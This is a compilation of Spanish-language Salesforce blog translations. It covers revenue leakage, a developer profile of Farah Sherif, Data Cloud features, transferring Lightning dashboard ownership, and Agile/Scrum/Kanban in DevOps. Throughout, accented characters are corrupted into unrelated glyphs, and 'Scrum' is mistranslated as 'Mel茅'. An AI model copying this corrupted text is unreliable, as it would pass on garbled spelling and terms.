El paso final es garantizar que se sigan estas recomendaciones y evaluar su eficacia. Las funciones de informes avanzados y las se帽ales de IA muestran el impacto exacto en tiempo real a medida que evoluciona la canalizaci贸n. Esto permite los ajustes necesarios en los procesos y establece una plataforma de ejecuci贸n para implementar cambios en toda la empresa y mejoras en los procesos para combatir las fugas de ingresos en toda la empresa.  

脷nase a nuestras sesiones de oratoria de Dreamforce para obtener m谩s informaci贸n

La fuga de ingresos es un problema comercial cr铆tico que debe manejarse, y la IA surge como una herramienta poderosa para abordarlo. Para aprovechar al m谩ximo el potencial de la IA, es esencial combinarla con datos de calidad. Aqu铆 es donde los administradores de Salesforce juegan un papel fundamental, potenciando la IA con datos valiosos y aprovechando su experiencia y conocimientos t茅cnicos para combatir las fugas de ingresos de manera efectiva.

Si est谩 ansioso por obtener m谩s informaci贸n sobre c贸mo la IA puede revolucionar sus estrategias de protecci贸n de ingresos, lo invitamos a unirse a nuestras sesiones de conferencias de Dreamforce . 隆Encu茅ntrenos en el stand n.潞 1126 para explorar las emocionantes posibilidades de la optimizaci贸n de ingresos impulsada por IA!

Maria Gordienko es directora de comunicaciones de Revenue Grid.

Evaluaci贸n formativa:

隆Quiero saber de ti!

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Farah Sherif comparte el secreto del 茅xito de los desarrolladores: aprendizaje permanente 鈽侊笍

Farah Sherif comparte el secreto del 茅xito de los desarrolladores: aprendizaje permanente 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Farah Sherif comparte el secreto del 茅xito de los desarrolladores: aprendizaje permanente | Blog de desarrolladores de Salesforce

Si la desarrolladora de Salesforce, Farah Sherif , pudiera comenzar su carrera nuevamente, comenzar铆a a aprender Salesforce antes. No esperaba dedicarse a la codificaci贸n para ganarse la vida, pero pronto descubri贸 que era la carrera adecuada para ella. 鈥淪ol铆a pensar que la codificaci贸n era realmente complicada鈥, dice Farah, 鈥減ero Salesforce y Trailhead lo hicieron f谩cil. Adem谩s, con suficiente dedicaci贸n, puedes aprender cualquier cosa en Salesforce鈥.

Trailhead es la puerta de entrada al ecosistema de Salesforce, donde cualquier persona puede aprender las habilidades m谩s demandadas y relevantes de la actualidad de forma gratuita, obtener credenciales dignas de curr铆culum y conectarse con oportunidades globales. Hoy, m谩s de 18 millones de Trailblazers est谩n aprendiendo, creando redes y desarrollando sus habilidades para construir carreras exitosas.

Sol铆a pensar que la codificaci贸n era realmente complicada, pero Salesforce y Trailhead lo hicieron f谩cil.

Farah conoci贸 Salesforce gracias a su primo, que es miembro del Sal贸n de la fama de MVP de Salesforce , all谩 por 2018. 脡l le envi贸 un par de m贸dulos en la plataforma de aprendizaje de Trailhead, incluida la ruta Admin Beginner , y ella se enganch贸 de inmediato.

En la actualidad, la carrera de Farah es pr贸spera y actualmente es desarrolladora s茅nior de Salesforce para Oloop Technology Solutions , una firma de consultor铆a de tecnolog铆a empresarial con sede en Aurora, IL. Ella tambi茅n se ha convertido en MVP de Salesforce.

Pasi贸n por aprender y desarrollar habilidades en Trailhead

Trailhead ha sido el entorno de aprendizaje de Farah desde el primer d铆a, y desde entonces ha superado cientos de unidades y m贸dulos. Hasta la fecha, Farah ha completado 34 senderos y ganado la friolera de 365 insignias y 11 superbags, lo que la ha llevado al nivel Triple Star Ranger .

Farah tambi茅n ha mejorado su curr铆culum al lograr 15 certificaciones de impulso profesional de Salesforce , y recomienda este enfoque a otros desarrolladores que buscan avanzar en su carrera. Ella dice: "Aunque no tenga experiencia en un tema, si estudia lo suficiente y aborda la certificaci贸n, le da la oportunidad de ser parte de un proyecto que utiliza los productos que aprendi贸 en su certificaci贸n".

A pesar de todos sus logros, Farah contin煤a usando Trailhead como su fuente principal para aprender nuevas habilidades. 鈥淎unque hay varios recursos disponibles鈥, dice, 鈥減rimero empiezo con Trailhead y luego reviso otros recursos. Al prepararme para las certificaciones, las preguntas de pr谩ctica han sido realmente 煤tiles鈥.

Aunque hay varios recursos disponibles, primero empiezo con Trailhead.

Encontrando inspiraci贸n en la Galer铆a de muestra de c贸digo

Para los desarrolladores que desean explorar ejemplos de trabajo, Farah sugiere consultar Code Sample Gallery , que ella considera "una joya oculta subestimada". Contiene ejemplos de c贸digo escritos por el equipo de defensa de desarrolladores de Salesforce que muestran una variedad de caracter铆sticas de la plataforma de Salesforce, como componentes web Lightning, Apex y flujos, as铆 como casos de uso como la transformaci贸n de p谩ginas de Visualforce en componentes web Lightning. Farah dice: "Es la mejor manera de aprender, ya que el c贸digo est谩 escrito por expertos de Salesforce y hay toneladas de ejemplos sobre c贸mo hacer todo".

La comunicaci贸n es una habilidad valiosa para los desarrolladores.

Junto con las habilidades t茅cnicas, Farah ha aprendido que la buena comunicaci贸n es vital para el 茅xito del desarrollador. A medida que avanzaba en su carrera, Farah lleg贸 a creer que los desarrolladores no se sientan detr谩s de una computadora y programan todo el d铆a. Los desarrolladores deben poder comunicarse bien con los dem谩s para realizar su trabajo o mostrar su soluci贸n. Ya sea que se trate de reportar bloqueadores a un gerente de producto, discutir una soluci贸n alternativa o incluso explicar un enfoque t茅cnico a un cliente, es importante que los desarrolladores puedan expresarse claramente.

鈥淣o lo aprend铆 en un d铆a鈥, dice Farah, 鈥減ero he recorrido un largo camino desde la primera vez que habl茅 con un cliente. Las habilidades de comunicaci贸n tambi茅n ayudan cuando escuchas conversaciones porque entonces est谩s aprendiendo c贸mo tratar con las personas y c贸mo manejar a los clientes鈥. (Consejo: consulte elm贸dulo Narraci贸n y comunicaci贸n en Trailhead para mejorar sus habilidades).

驴Qu茅 tiene de bueno ser un desarrollador de Salesforce?

Una de las razones por las que a Farah le encanta ser desarrolladora de Salesforce es la experiencia de desarrollo en s铆 misma. Le gusta construir algo desde cero que pueda ayudar a las personas a ahorrar tiempo o facilitarles la vida. Tambi茅n se emociona cuando puede trabajar en algo que antes la gente pensaba que no era posible y ayudar a darle vida. Ella dice: "Me encanta programar porque es desafiante y te obliga a pensar de manera estructurada para encontrar una soluci贸n a prueba de errores".

Buscar ayuda de expertos en la comunidad

La clave del 茅xito de Farah: hacer preguntas. Cuando se enfrenta a requisitos desconocidos, Farah dedica mucho tiempo a aprender e investigar para obtener informaci贸n sobre un tema nuevo, lo que beneficia a toda su organizaci贸n. 鈥淐uando paso tiempo aprendiendo un nuevo producto o una nueva funci贸n de Salesforce, siempre es valioso para mi equipo, ya que puedo actuar como una fuente de conocimiento de ese tema m谩s adelante cuando tengamos que usarlo鈥.

Farah tambi茅n recurre a Salesforce Developers Trailblazer Community para buscar ayuda de expertos o seguir a l铆deres de opini贸n como David Liu y Salesforce Ben. Farah dice: "La Comunidad Trailblazer es mi espacio seguro, donde todos son incre铆blemente 煤tiles, y cuando s茅 que cuando contacte a alguien, realmente querr谩n ayudar". Sus grupos favoritos son Apex Hours y Ladies Be Architects .

El raro honor de una sudadera con capucha dorada

Farah complet贸 la universidad con un t铆tulo en Ciencias de la Computaci贸n y llevaba unos meses en su nuevo trabajo, esforz谩ndose por demostrar su val铆a como desarrolladora de Salesforce estudiando y obteniendo certificaciones. Pero fue solo cuando comenz贸 a involucrarse m谩s profundamente con la comunidad Trailblazer que sus perspectivas de carrera comenzaron a cambiar.

Despu茅s de pasar algunos meses aprendiendo sobre Trailhead鈥, recuerda Farah, 鈥淪olicit茅 dirigir el grupo comunitario local de Trailblazer en El Cairo, Egipto. Esas reuniones realmente me ayudaron a mejorar mis habilidades y, de hecho, consegu铆 mi primer trabajo como desarrollador de Salesforce asistiendo a ellas y conect谩ndome con la gente.

La dedicaci贸n de Farah al aprendizaje ya la comunidad no pas贸 desapercibida. En octubre de 2020, Salesforce le otorg贸 una rara sudadera con capucha dorada para celebrar su compromiso y su trayectoria como Trailblazer.

鈥淐uando recib铆 la sudadera con capucha dorada鈥, recuerda, 鈥渇ue un momento incre铆ble del que estar茅 orgullosa para siempre鈥. El premio se sinti贸 como una verificaci贸n de todos sus esfuerzos. Dos a帽os m谩s tarde, estaba en su primera conferencia de Salesforce y el significado de la sudadera con capucha finalmente hizo clic. 鈥淔ue entonces cuando realmente sent铆 lo especial que es tener la sudadera con capucha dorada. Es diferente cuando puedes usarlo en persona y ser reconocido por m谩s de 4000 personas鈥. Comparte m谩s de su perspectiva y experiencia, as铆 como un vistazo de su Golden Hoodie, en un episodio de Trailhead Live (a las 25:32).

Cuando recib铆 la sudadera con capucha dorada, fue un momento incre铆ble del que estar茅 orgulloso para siempre.

Consejos para nuevos desarrolladores de Salesforce: 隆No dejes de aprender!

Farah aconseja a los desarrolladores que son nuevos en el ecosistema de Salesforce que hagan preguntas y no dejen de aprender. Para mantenerse al d铆a con las 煤ltimas novedades, recomienda consultar las notas de la versi贸n de Salesforce que incluyen mejoras en la funcionalidad existente y nuevas herramientas. Tambi茅n sugiere involucrarse con su comunidad local de Salesforce , asistir a reuniones grupales y conferencias, donde tiene la oportunidad de establecer contactos y conocer a otros profesionales y regresar con nuevas ideas e inspiraci贸n.

Para Farah, el aprendizaje es un proceso continuo, algo que trata de recordar todos los d铆as. Ella dice: 鈥淣o dejas de aprender solo cuando tienes X n煤mero de certificaciones o cuando crees que has alcanzado un hito. Cuando mantienes el aprendizaje como un h谩bito, realmente vale la pena鈥.

Para conocer a desarrolladores como Farah y ampliar sus habilidades t茅cnicas, 煤nase a la comunidad de desarrolladores de Salesforce y sea parte de la conversaci贸n sobre todo lo relacionado con el desarrollo de Salesforce.

Sobre el Autor

Christie Fidura es la directora de Global Trailblazer Engagement. En este rol, busca involucrar y elevar a la comunidad y trabajar directamente con ellos para comprender sus desaf铆os, preocupaciones, victorias e inspiraciones. Puede encontrar a Christie en Trailblazer Community en https://trailblazer.me/id/christiefidura . Christie, administradora comunitaria certificada y comercializadora ganadora de m煤ltiples premios, cree en la tecnolog铆a, la comunidad y la igualdad.

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Re煤na todos los datos de sus clientes en Data Cloud 鈽侊笍

Re煤na todos los datos de sus clientes en Data Cloud 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Re煤na todos los datos de sus clientes en Data Cloud | Blog de desarrolladores de Salesforce

En nuestras publicaciones de blog anteriores, exploramos a alto nivel qu茅 es Data Cloud para los desarrolladores. Tambi茅n exploramos algunas caracter铆sticas interesantes de Data Cloud para desarrolladores . Le mostramos c贸mocrear conocimientos calculados , c贸mo usar Apex y c贸mo cargar datos mediante programaci贸n usando la API de ingesta . En esta publicaci贸n de blog, cubriremos caracter铆sticas a煤n m谩s incre铆bles que Data Cloud tiene para ofrecer.

La nube de datos est谩 activa

Data Cloud es m谩s que un lago de datos. Es una plataforma de datos activa. Los desarrolladores pueden traer datos desde cualquier sistema, canal o flujo de datos, ya sea en flujos continuos o en lotes. Con Data Cloud, puede conectar sus datos a trav茅s de diferentes sistemas que contienen los datos de sus clientes. Data Cloud se basa en nuestra plataforma Hyperforce , lo que significa que Data Cloud puede absorber f谩cilmente grandes vol煤menes de datos. Con Hyperforce, Data Cloud es r谩pido y tambi茅n puede capturar eventos segundos despu茅s de que ocurran.

Si piensa en cu谩ntos clics hace cada cliente, el volumen de datos se expande r谩pidamente. Por ejemplo, a medida que los clientes abren y hacen clic en los correos electr贸nicos, navegan por las p谩ginas de sus aplicaciones m贸viles y miran los productos en su sitio web, puede capturar esos datos de participaci贸n a medida que ocurren. Cuando env铆a un correo electr贸nico u oferta y es relevante para la persona que lo recibe, es mucho m谩s probable que haga clic. Cuando un cliente hace clic, puede capturar la interacci贸n en Data Cloud. A continuaci贸n, puede utilizar esa informaci贸n para averiguar qu茅 les interesa y si es probable que realicen una compra o no.

La nube de datos est谩 integrada

Tener todos estos datos en tiempo real de m煤ltiples fuentes empresariales es excelente. Pero los datos no son significativos a menos que pueda usarlos. Data Cloud se conecta de forma nativa a muchos proveedores de nube, como Google Cloud Storage , Azure Storage y Amazon S3 . Data Cloud tambi茅n se conecta de forma nativa a Salesforce . Despu茅s de solo unos pocos clics, puede conectar cualquier organizaci贸n de Sandbox o de producci贸n de Salesforce a Data Cloud. Luego, Data Cloud puede ingerir cualquier objeto de Salesforce en un flujo de datos .

Despu茅s de que sus datos se ingieran en objetos de lago de datos (DLO) y se asignen a objetos de modelo de datos (DMO), un modelo de datos como el siguiente se integra din谩micamente en Data Cloud. Esto le permite ver visualmente todos los flujos de datos que est谩n creando la vista 煤nica de su cliente.

Atr谩s quedaron los d铆as en que Data Cloud era solo una plataforma de datos para marketing. Los datos almacenados en Data Cloud ahora se pueden usar en muchos sistemas. Los datos de Data Cloud se pueden usar en Amazon Ads y Google Ads mediante activaciones y objetivos de activaci贸n . Tambi茅n puede usar el conector de nube de datos nativo en Tableau para obtener nuevos conocimientos. Los aceleradores de Tableau listos para usar le permiten moverse a煤n m谩s r谩pido usando tableros y libros de trabajo predise帽ados y listos para usar. Con Data Cloud m谩s Tableau, puede cubrir f谩cilmente nuevos conocimientos sobre su negocio al reunir todos sus datos. Los desarrolladores ahora pueden incorporar estos conocimientos impulsados por IA en una aplicaci贸n de su elecci贸n.

La nube de datos est谩 automatizada

Los datos de Data Cloud tambi茅n se pueden enviar a Salesforce mediante acciones de datos y eventos de la plataforma y luego aprovecharse en flujos mediante una variedad de acciones de datos que est谩n disponibles en Salesforce Flow. Los desarrolladores pueden usar Flow para publicar informaci贸n y segmentos calculados, actualizar flujos de datos, ejecutar resoluciones de identidad e incluso activar modelos de predicci贸n. El flujo tambi茅n puede obtener datos de un objeto de modelo de datos y almacenar esa informaci贸n en una variable de colecci贸n para usarla en otras partes del flujo.

La nube de datos est谩 abierta

Data Cloud tiene muchas asociaciones estrat茅gicas con empresas como Amazon, Google, Snowflake y Meta. Estas asociaciones han ampliado la plataforma para permitir mayores posibilidades y ayudar a que sus datos sean m谩s procesables. La mejor noticia es que nuestras asociaciones est谩n creciendo constantemente, 隆y pronto habr谩 nuevas!

Recursos

Sobre los autores

Muralidhar Krishnaprasad (tambi茅n conocido como MK o Murali para abreviar) es el vicepresidente ejecutivo de ingenier铆a que ejecuta datos, ML y an谩lisis dentro de la organizaci贸n de Marketing Cloud. Se uni贸 a Salesforce hace tres a帽os y est谩 a cargo de crear, integrar y hacer crecer varios productos relacionados con datos, ML y an谩lisis. Est谩 liderando la iniciativa para repensar nuestra estrategia general de pr贸xima generaci贸n que re煤ne lo mejor de big data, ML y an谩lisis junto con nuestra plataforma para construir la base para el futuro digital.

Danielle Larregui es promotora s茅nior de desarrolladores en Salesforce, donde se enfoca en la creaci贸n de contenido de Data Cloud y Marketing Cloud. Le encanta la UI/UX, el marketing digital y la codificaci贸n. Danielle tambi茅n disfruta asistir a grupos de usuarios, conferencias comunitarias y eventos t茅cnicos de Salesforce. Puede seguirla en Twitter @dnlarregui o LinkedIn para mantenerse al d铆a con su contenido t茅cnico.

Dianne Siebold es redactora t茅cnica principal del equipo de Experiencia de contenido en Salesforce. Se especializa en desarrollo, inteligencia artificial y tecnolog铆as de integraci贸n.

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Cambiar la propiedad de Lightning Dashboards

Cambiar la propiedad de Lightning Dashboards

脷ltima actualizaci贸n el 14 de agosto de 2023 por Rakesh Gupta

Gran idea o pregunta duradera:

  • 驴C贸mo se puede transferir la propiedad de Lightning Dashboards en Salesforce?

Objetivos:

Despu茅s de leer este blog, podr谩:

  • Transferir la propiedad de los tableros Lightning
  • y mucho m谩s

Isabella Stewart , administradora de Salesforce en Gurukul On Cloud (GoC), fue contactada por el director de ventas Eric Brown. Le pidi贸 que cambiara el propietario de Opportunity Pipeline de 'Sarika Gupta' a 'Rakesh Gupta'.

Enfoque de Campe贸n de Automatizaci贸n (I-do):

Despu茅s del lanzamiento de Winter'24 , ahora es posible actualizar los tableros Lightning transfiriendo la propiedad del tablero cuando cambian las responsabilidades o el creador del tablero deja su organizaci贸n. El nuevo propietario tiene control total sobre el contenido del tablero. Anteriormente, ten铆a que clonar o volver a crear el tablero cuando el creador pas贸 a otras responsabilidades.

Para iniciar la transferencia de la propiedad del tablero, el usuario debe tener lo siguiente:

  • Ver todos los datos o Ver el panel de control de mi equipo
  • Ver todos los datos le permite cambiar el propietario a cualquier persona de su organizaci贸n
  • Ver los paneles de mi equipo le permite cambiar el propietario de y a cualquier persona que aparezca en la jerarqu铆a de roles de su equipo.
  • Edite o administre el acceso a la carpeta que contiene el tablero. Al nuevo propietario se le concede acceso de edici贸n a la carpeta del panel.
  • El nuevo propietario debe tener acceso para editar el tablero transferido.

Siga los pasos a continuaci贸n para transferir la propiedad del panel Lightning:

Paso 1: Habilite Permitir que los usuarios cambien la configuraci贸n del propietario del tablero (solo Lightning Experience)

  1. Haga clic en Configuraci贸n .
  2. En el cuadro B煤squeda r谩pida, ingrese Configuraci贸n de informes y tableros y luego seleccione Configuraci贸n de informes y tableros .
  3. Seleccione Permitir que los usuarios cambien el propietario del tablero (solo Lightning Experience) .
  4. Haga clic en Guardar .

Paso 1: cambiar el propietario del panel Lightning

  1. Vaya a la pesta帽a Paneles .
  2. Abra el panel Canal de oportunidades .
  3. Seleccione Cambiar propietario .
  4. Seleccione un nuevo propietario, es decir, Rakesh Gupta en este escenario.
  5. Haga clic en Guardar .

Prueba de concepto

La propiedad de la cartera de oportunidades se transfiri贸 con 茅xito a Rakesh Gupta.

Evaluaci贸n formativa:

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Incorporaci贸n de Agile en Salesforce DevOps – Inspire Planner

Incorporaci贸n de Agile en Salesforce DevOps - Inspire Planner

La r谩pida era digital exige que las empresas entreguen valor de manera r谩pida y eficiente. Sin embargo, los equipos dispersos geogr谩ficamente y las operaciones de desarrollo complejas, particularmente en Salesforce DevOps, a menudo pueden dar lugar a plazos incumplidos, equipos tensos y flujos de trabajo inconexos. Ah铆 es donde entra en juego Agile en Salesforce DevOps.

La gesti贸n 谩gil de proyectos ofrece una soluci贸n que incorpora las metodolog铆as Scrum y Kanban para permitir una adaptaci贸n r谩pida, una colaboraci贸n mejorada y una entrega continua de software de alta calidad, lo que ayuda a las empresas a mantenerse competitivas y cumplir con las expectativas de los clientes.

En una encuesta realizada por KPMG, el 84% de los participantes informaron que su organizaci贸n utiliza metodolog铆as Scrum o Kanban. Entonces, la pregunta es, 驴y t煤?

Comprensi贸n de Agile en Salesforce DevOps: Scrum y Kanban

Tabla de contenido

Las metodolog铆as 谩giles son estrategias flexibles que facilitan una gesti贸n de proyectos 谩gil y eficiente en el desarrollo de software. Se basan en los principios de:

  • Transparencia : este principio garantiza que todos los aspectos del proyecto sean visibles para todos los responsables del resultado. Esto incluye informaci贸n sobre los objetivos, el progreso y el proceso del proyecto.
  • Inspecci贸n : los miembros del equipo y las partes interesadas inspeccionan con frecuencia el progreso y el trabajo hacia la meta del proyecto para detectar variaciones no deseadas.
  • Adaptaci贸n : si el equipo identifica discrepancias significativas durante una inspecci贸n, debe ajustar su proceso o los materiales en los que se est谩 trabajando.

Mel茅

Scrum est谩 dise帽ado para equipos compuestos por diez miembros o menos. Este enfoque implica dividir el trabajo en objetivos que deben cumplirse dentro de per铆odos espec铆ficos conocidos como sprints. Un Sprint es un per铆odo de tiempo dentro del cual se crea un incremento de producto "Terminado", utilizable y potencialmente liberable.

Por lo general, cada sprint dura hasta un mes, pero la duraci贸n m谩s com煤n es de dos semanas. El equipo eval煤a su progreso en reuniones diarias de scrum, que son debates r谩pidos que no superan los 15 minutos.

Al finalizar un sprint, se llevan a cabo dos reuniones adicionales: una revisi贸n del sprint para mostrar el trabajo a las partes interesadas y recopilar sus comentarios, y una retrospectiva del sprint que permite al equipo reflexionar e identificar 谩reas de mejora.

Gesti贸n de proyectos Scrum en Inspire Planner, la aplicaci贸n de gesti贸n de proyectos nativa de Salesforce
Creaci贸n de un Sprint en Inspire Planner, una aplicaci贸n de gesti贸n de proyectos nativa de Salesforce

Kanban

Kanban es un sistema visual que ayuda a administrar el trabajo, identificar cuellos de botella y garantizar un flujo de trabajo eficiente y rentable.

Kanban sigue cuatro principios:

  • Visualice el flujo de trabajo : un modelo visual del trabajo permite a los miembros observar el flujo de trabajo que se mueve a trav茅s del sistema y responder r谩pidamente a los bloqueos.
  • Limite el trabajo en progreso (WIP) : al limitar la cantidad de trabajo sin terminar que est谩 en proceso, los equipos pueden reducir el tiempo que tarda un elemento en viajar a trav茅s del sistema Kanban.
  • Gestionar Flujo : La gesti贸n de elementos de trabajo debe ser continua y enfocada a lograr un flujo fluido, con tiempos de finalizaci贸n r谩pidos y trabajo de calidad.
  • Mejora continua : los equipos deben analizar continuamente su flujo de trabajo y hacer los ajustes necesarios para mejorar el rendimiento y la eficiencia.
Tablero Kanban en Inspire Planner, aplicaci贸n de gesti贸n de proyectos nativa de SalesforceTablero Kanban en Inspire Planner, aplicaci贸n de gesti贸n de proyectos nativa de Salesforce
Tablero Kanban en Inspire Planner, una herramienta de gesti贸n de proyectos nativa de Salesforce

An谩lisis comparativo de Scrum y Kanban

El siguiente an谩lisis le brinda una breve descripci贸n general de qu茅 marco podr铆a usar en su organizaci贸n.

Mel茅 Kanban
Flujo de rutina frente a flujo continuo Scrum se basa en iteraciones de tiempo limitado llamadas Sprints, generalmente de 1 a 4 semanas de duraci贸n. Se enfoca en el flujo continuo y no tiene plazos espec铆ficos.
roles Ayuda a los equipos a administrar proyectos complejos dividi茅ndolos en "sprints" manejables y con l铆mites de tiempo con revisiones peri贸dicas y retrospectivas Mejora la transparencia y la eficiencia del flujo de trabajo al visualizar las tareas y limitar el trabajo en curso
Filosof铆a del cambio Scrum desalienta los cambios dentro de un sprint. Permite realizar cambios en cualquier momento
Alcance del Trabajo Funciona mejor con proyectos complejos con elementos interdependientes que requieren colaboraci贸n. Funciona bien para tareas en curso y actividades de mantenimiento.

Fortalezas y limitaciones de Agile en Salesforce DevOps: Scrum vs Kanban

Por supuesto, antes de decidir qu茅 marco usar para Agile en Salesforce DevOps, es esencial observar sus fortalezas y limitaciones:

Mel茅 Kanban
Fortalezas + Adecuado para proyectos complejos donde se necesita una estrecha colaboraci贸n y una respuesta r谩pida.
+ Funciones y responsabilidades bien definidas mejoran la rendici贸n de cuentas.
+ Las revisiones peri贸dicas y las retrospectivas fomentan la mejora continua.
+ Excelente visualizaci贸n del trabajo en curso.
+ Flexibilidad para manejar cambios o nuevas tareas.
+ Ideal para flujos de trabajo continuos e ininterrumpidos.
Limitaciones 鈥 Las iteraciones fijas pueden generar ineficiencias si no se completa todo el trabajo dentro del sprint.
鈥 No es tan flexible para cambiar a mitad del sprint.
鈥 Requiere un alto nivel de disciplina y comprensi贸n de los principios de Scrum.
鈥 Puede que no sea tan efectivo para tareas complejas e interdependientes.
鈥 Sin disciplina, los l铆mites WIP pueden ignorarse, lo que genera cuellos de botella.
鈥 La falta de limitaciones de tiempo puede dar lugar a retrasos y falta de urgencia.

El papel de Scrum en Salesforce DevOps

Salesforce es una plataforma altamente personalizable que requiere actualizaciones y mejoras frecuentes para satisfacer las necesidades din谩micas de las empresas. Aqu铆 es donde Scrum puede traer ventajas significativas.

  • Desarrollo iterativo : el enfoque iterativo de Scrum se alinea bien con el desarrollo de Salesforce. Permite lanzamientos menores e incrementales con cada sprint, lo que permite a los equipos responder m谩s r谩pidamente a los requisitos y cambios comerciales.
  • Claridad de funciones : las funciones definidas en Scrum (Propietario del producto, Scrum Master y Equipo de desarrollo) brindan responsabilidades y responsabilidades claras, fomentando un entorno de trabajo en equipo s贸lido y una comunicaci贸n efectiva, que son fundamentales en los proyectos de Salesforce.
  • Comentarios y mejoras continuas : con las revisiones y retrospectivas peri贸dicas de Scrum, el equipo puede aprender y adaptarse continuamente a las necesidades cambiantes. Esta agilidad es especialmente beneficiosa dados los frecuentes lanzamientos y actualizaciones de Salesforce.
  • Mitigaci贸n de riesgos : los sprints breves y delimitados en el tiempo permiten la identificaci贸n y resoluci贸n temprana de problemas o riesgos, lo que reduce las posibilidades de fracaso del proyecto. Para obtener m谩s detalles sobre este tema, consulte nuestro art铆culo sobre c贸mo reducir los riesgos y problemas imprevistos del proyecto.

Beneficios de usar Scrum y Agile en Salesforce DevOps

Mejorar la colaboraci贸n, la flexibilidad y la productividad en Salesforce DevOps con Scrum es una excelente manera de garantizar que los proyectos se entreguen con 茅xito y a tiempo. Este es el por qu茅:

  • Colaboraci贸n : Scrum fomenta un entorno altamente colaborativo. Las reuniones diarias de Scrum mantienen a todos alineados sobre el estado y los desaf铆os del proyecto, lo que promueve una resoluci贸n de problemas m谩s efectiva. Adem谩s, la comprensi贸n compartida y la comunicaci贸n frecuente reducen los malentendidos y la repetici贸n del trabajo.
  • Flexibilidad : la naturaleza iterativa de Scrum permite que los cambios se incorporen f谩cilmente en el pr贸ximo sprint. Esto es particularmente beneficioso en Salesforce DevOps, donde los cambios son frecuentes debido a nuevos requisitos comerciales, comentarios de clientes o actualizaciones de Salesforce.
  • Productividad : al dividir el proyecto en unidades manejables (sprints), los equipos pueden enfocarse mejor y producir un trabajo de alta calidad, mejorando la productividad. Adem谩s, la visibilidad de la capacidad del equipo evita la sobrecarga y fomenta un ritmo sostenible, lo que contribuye a elevar la moral y mejorar a煤n m谩s la productividad.

    Los equipos que implementan efectivamente las metodolog铆as Scrum pueden presenciar un aumento de la productividad que oscila entre el 300 % y el 400 %.

  • Satisfacci贸n del cliente : Scrum se enfoca en brindar valor con cada sprint, lo que lleva a resultados frecuentes y tangibles. Esta entrega constante de caracter铆sticas valiosas puede aumentar la satisfacci贸n del cliente mediante el uso de Agile en Salesforce DevOps.

    Cuando MediaMarkt, el minorista de electr贸nica de consumo l铆der en Europa, se expandi贸 a China en 2010, desarroll贸 r谩pidamente una innovadora suite de planificaci贸n de recursos empresariales (ERP) en un a帽o. Gracias a la metodolog铆a Scrum y un equipo colaborativo, implementaron m煤ltiples aplicaciones est谩ndar, lo que facilit贸 el lanzamiento de nuevas tiendas en Asia y prepar贸 un crecimiento sustancial en China.

Aprovechamiento de Kanban para Salesforce DevOps

Kanban es una metodolog铆a Agile robusta que mejora la visibilidad y la eficiencia en los entornos de Salesforce DevOps. As铆 es c贸mo:

  • Visibilidad : Kanban utiliza un tablero visual (tablero Kanban) para representar el flujo de trabajo. Cada tarea o historia de usuario se representa como una tarjeta en este tablero, movi茅ndose de una columna a otra a medida que avanza. El uso de tableros Kanban para administrar el flujo de trabajo ha experimentado un aumento constante, con el 61 % de los encuestados us谩ndolos ahora, un aumento sustancial del 6 % inicial informado en la primera encuesta.
  • Eficiencia : al establecer l铆mites de trabajo en curso (WIP), Kanban evita que los miembros del equipo se sientan abrumados con demasiadas tareas. Esto conduce a un mejor enfoque y una finalizaci贸n m谩s r谩pida de las tareas. Cuando se identifica un cuello de botella (por ejemplo, demasiadas tareas en una columna en particular), se aborda de inmediato para mantener el flujo de trabajo de manera eficiente.
  • Entrega continua : en un entorno de Salesforce DevOps, a menudo existe la necesidad de entrega, mantenimiento o soporte continuos. Kanban respalda esto al promover un flujo continuo de trabajo en lugar de trabajar en iteraciones o sprints de longitud fija.

    Siemens Health Services quer铆a aumentar la velocidad y la calidad de la entrega de software. A pesar de los contratiempos iniciales con sus m茅todos 谩giles, el cambio hacia el pensamiento Lean y la adopci贸n de Kanban mejoraron dr谩sticamente la transparencia de sus procesos, aumentaron la calidad del trabajo, redujeron las tasas de defectos y, en 煤ltima instancia, impulsaron el compromiso del equipo, lo que hizo que sus productos fueran m谩s competitivos en un mercado exigente.

  • Flexibilidad : Kanban permite agregar nuevas tareas a la cartera de pedidos en cualquier momento, siempre que se respeten los l铆mites WIP. Esto es particularmente beneficioso en un entorno de Salesforce DevOps donde existe la necesidad de reaccionar r谩pidamente ante nuevos problemas o cambios.

Pasos para integrar la metodolog铆a Kanban en proyectos de Salesforce

Estos son los pasos pr谩cticos necesarios para integrar de manera efectiva la metodolog铆a Kanban en sus proyectos de Salesforce para mejorar la visibilidad y la eficiencia:

  • Defina las etapas del flujo de trabajo : divida su flujo de trabajo en distintas etapas. Algunas de las etapas t铆picas incluyen Backlog, En desarrollo, UAT y Completado, pero se pueden ajustar seg煤n las necesidades espec铆ficas de su proyecto.
  • Cree un tablero Kanban : use una herramienta de gesti贸n de proyectos f铆sica o digital como Inspire Planner para crear su tablero Kanban. Representa cada etapa del flujo de trabajo como una columna en el tablero.
  • Cree tarjetas para tareas : escriba cada tarea o historia de usuario en una tarjeta separada y coloque estas tarjetas en la columna correspondiente en el tablero Kanban.
  • Establecer l铆mites de trabajo en curso (WIP) : defina cu谩ntas tareas pueden estar en curso en cada etapa de su flujo de trabajo en un momento dado. Esto evita la sobrecarga y ayuda a identificar cuellos de botella.
  • Administre y perfeccione el flujo de trabajo : mueva las tarjetas de izquierda a derecha en el tablero a medida que avanza el trabajo. Revise regularmente la junta para identificar y abordar los cuellos de botella. Respete los l铆mites WIP y mueva una tarjeta a la siguiente etapa cuando haya capacidad.
  • Mejora continua : revise y analice el flujo de trabajo con regularidad. Busque formas de mejorar la eficiencia, como ajustar los l铆mites WIP o redefinir las etapas. El objetivo es lograr un flujo de trabajo fluido y eficiente.

10 mejores pr谩cticas para integrar metodolog铆as 谩giles en Salesforce DevOps

Las siguientes pr谩cticas pueden ayudarlo a integrar Agile en Salesforce DevOps:

  • Entrenamiento y educaci贸n

    Aseg煤rese de que los miembros de su equipo comprendan los principios Agile y las pr谩cticas de Scrum o Kanban en funci贸n de la metodolog铆a elegida. Invierta en cursos de capacitaci贸n, talleres y recursos relevantes.

  • Empieza peque帽o

    Comience con un proyecto peque帽o que no tenga mucho en juego. Esto permitir谩 que su equipo aprenda y se adapte a Agile en Salesforce DevOps en un entorno de baja presi贸n.

